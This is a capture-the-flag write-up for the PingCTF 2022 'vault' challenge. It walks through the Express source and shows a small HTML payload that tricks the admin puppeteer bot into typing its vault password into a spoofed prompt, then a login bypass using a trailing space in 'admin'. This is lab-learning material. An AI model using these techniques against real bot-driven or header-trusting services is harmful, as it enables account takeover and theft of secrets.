Writeups
/Home/Ctfs/Pingctf2022/vault/
Author: argot
Pub: 2022-11-25
1170 words

Challenge

Admin keeps his secret in this vault. Can you steal it?

http://vault.knping.pl/

First Looks

The challenge also provides a Docker image for local testing. The docker instance has two expressjs apps running (front-end vault/backend “DB”). Only the frontend is exposed, but for testing purposes we also expose the DB.

FROM node:17-alpine
COPY src /src
WORKDIR /src
RUN apk update && apk upgrade
RUN apk add chromium 
RUN npm install express node-fetch express-session body-parser puppeteer node-fetch-with-proxy dotenv

EXPOSE 3000
EXPOSE 3001

CMD ["node", "app.js"]

As with all CTFs, we look for where the flag is stored since the actual challenge source code is provided. A .env file places the flag in an environment variable and is later placed into the expressjs “DB”:

DB.set("admin", {
	password: PASSWORD,
	content: process.env.FLAG,
});

The database is simply just a Map() that stores vault secrets with the key as the user and password required to access it. We note the backend access method from db.js:

app.get("/api/db/get", (req, res) => {
	if (
		typeof req.query.password != "string" ||
		typeof req.headers.user != "string"
	)
		return res.end("Bad parameters");

	if (!DB.has(req.headers.user)) return res.end("No secret set");

	let record = DB.get(req.headers.user);

	if (req.query.password !== record.password)
		return res.end("Wrong Password");

	res.end(record.content);
});

We see that the content is revealed only if 1) the user has a secret (one per user) and 2) you know the password. Unfortunately, its randomly generated with const PASSWORD = crypto.randomBytes(16).toString("hex"); when the app spins up.

Double the passwords, double the fun

Since we do not have access to this service directly, attention is turned to the app.js. There is a route /api/get which is used to fetch vault secrets from the backend db. The method invoked is shown below:

app.get("/api/get", async (req, res) => {
	let query = req.query;
	if (!query.password) return res.status(503).send("Bad parameters");

	query.password = query.password.toString();

	let response = await fetch(
		`http://localhost:3001/api/db/get?${new URLSearchParams(query)}`,
		{
			headers: {
				user: req.session.user,
			},
		}
	);

	res.end(await response.text());
});

A parameter password is required which is then sent to the backend service while also passing a user header that is extracted from the express session. Express-session is the library used to create and manage the session. All users are similarly stored in a JavaScript Map(). The logic is seen in the /api/auth endpoint:

app.post("/api/auth", async (req, res) => {
	if (
		typeof req.body.login !== "string" ||
		typeof req.body.password !== "string"
	)
		return res.status(503).send("Bad parameters");

	if (!userDB.has(req.body.login)) {
		userDB.set(req.body.login, req.body.password);
	}

	let password = userDB.get(req.body.login);
	if (req.body.password !== password)
		return res
			.status(200)
			.send(
				"<h1>Wrong username/password!</h1> <a href='/auth.html'>Try again</a>"
			);

	req.session.user = req.body.login;

	res.status(200).send(
		"<h1>Registered/Logged in successfully redirecting...!</h1><meta http-equiv='refresh' content='3;url=/' />"
	);
});

If the user sent via login doesn’t exist, it is automatically created, otherwise it checks creds from the Map(). Once successfully auth’d, a session is created and sent along with a session cookie. The password here is not the password kept on the vault. When the application starts, a random 16 byte password is assigned to the user admin:

const ADMIN_PASSWORD = crypto.randomBytes(16).toString("hex");

const userDB = new Map();

userDB.set("admin", ADMIN_PASSWORD);

The path to the flag then requires to first become administrator and somehow get the vault password to retrieve the flag.

Loose robotic lips

During investigation, its noted that a user can report a url through the /report endpoint. From app.js:

app.get("/report", async (req, res) => {
	if (!req.query.url) return res.status(503).send("Bad parameters");
	let url = req.query.url.toString();
	if (url.match(/^https?:\/\//)) {
		admin.check(url, ADMIN_PASSWORD, PASSWORD);
		return res.end("Admin whill check your url soon");
	}
	res.end("Invalid url");
});

We see that the endpoint reads the url parameter and makes “sure” it is a valid http(s) url. Then, it runs the admin.check() method found in admin.js. The check() method is as follows:

const check = async (url, account_password, password) => {
	let browser;
	try {
		browser = await puppeteer.launch({
			headless: true,
			args: [
				"--disable-gpu",
				"--no-sandbox",
				"--js-flags=--noexpose_wasm,--jitless",
			],
			executablePath: "/usr/bin/chromium-browser",
		});
		const context = await browser.createIncognitoBrowserContext();
		const page = await context.newPage();

		await page.goto("http://127.0.0.1:3000");
		await sleep(500);
		await page.type("[name=login]", "admin");
		await page.type("[name=password]", account_password);
		await page.click("[type=submit]");
		await sleep(4000);

		page.on("dialog", (passDialog) => {
			passDialog.accept(password);
		});

		await page.click("#REVEAL");

		await sleep(1000);
		await page.goto(url);
		await sleep(5000);

		await browser.close();
	} catch (e) {
		console.log(e);
	} finally {
		if (browser) await browser.close();
	}
};

This just emulates some user interaction with puppeteer. It first authenticates against the challenge application and checks its vault secret. Then it visits the url provided via /report. More importantly, it creates an event hook through page.on to handle the dialog for the vault. Since it will accept any url, we can exfiltrate the vault secret password by creating a malicious page that pops a similar dialog box:

<html>
	<script>
		window.addEventListener("load", async () => {
			var password = prompt('Provide secret password:');
			var test = await(await (fetch(`/api/get?password=${password}`)).text());
		});
	</script>
Testing
</html>

The malicious page above is hosted locally and ngrok is used to expose it to the public. The robot is directed to the page via http:/<challenge_addr>/report?url=http://<ngrok_addr>/test.html. After a few minutes, the vault password is obtained.

Vault Secret

One in the hand, one in the header

One secret obtained, however we are still blocked as we need to authenticate against the frontend, as we can only get the vault secret from the backend db through the frontend. After many hours attempting to subvert the authentication or exfiltrate more secrets, the obvious question was finally asked “Why use a header?":

if (
		typeof req.query.password != "string" ||
		typeof req.headers.user != "string"
	)
		return res.end("Bad parameters");

As the user info is grabbed from a custom header, it is most likely the intended target. Any time user data is passed from one server to another, there is always a risk that the user data is handled differently. First, CRLF bytes are attempted to be added to the username to potentially inject two user headers. Maybe the backend will process only the last/first. A new user is created through /auth/api, but the request is captured and modified accordingly.

CRLF

However, when /api/get is requested with the new user session, the server crashes:

Crash Override

Not wanting to have to continue intercept requests and since the real problem lies with how the express db backend is interacting with the header data, we expose the backend service for testing and proxy the fetch request through the Node library node-fetch-with-proxy:

Docker modifications:

FROM node:17-alpine
COPY src /src
WORKDIR /src
RUN apk update && apk upgrade
RUN apk add chromium 
RUN npm install express node-fetch express-session body-parser puppeteer node-fetch-with-proxy dotenv

EXPOSE 3000
EXPOSE 3001

CMD ["node", "app.js"]

app.js modifications:

const pFetch = require('node-fetch-with-proxy');
	let response = await fetch(
		`http://localhost:3001/api/db/set?${new URLSearchParams(body)}`,
		{
			headers: {
				user: req.session.user,
			},
		}
	);

The container is rebuilt and spun-up. We catch the request that is crashing the service and play around with potential header payloads to see how the Express server handles headers (probably according to the RFC). After multiple attempts, some whitespace is appended to the end of the “admin”.

Spaced Out

The frontend authentication is effectively bypassed.

Flag

With the vault secret in hand, we create an "admin " user on the live instance. A unique user is created and we request the secret via the front-end GUI. The flag is obtained:

Flag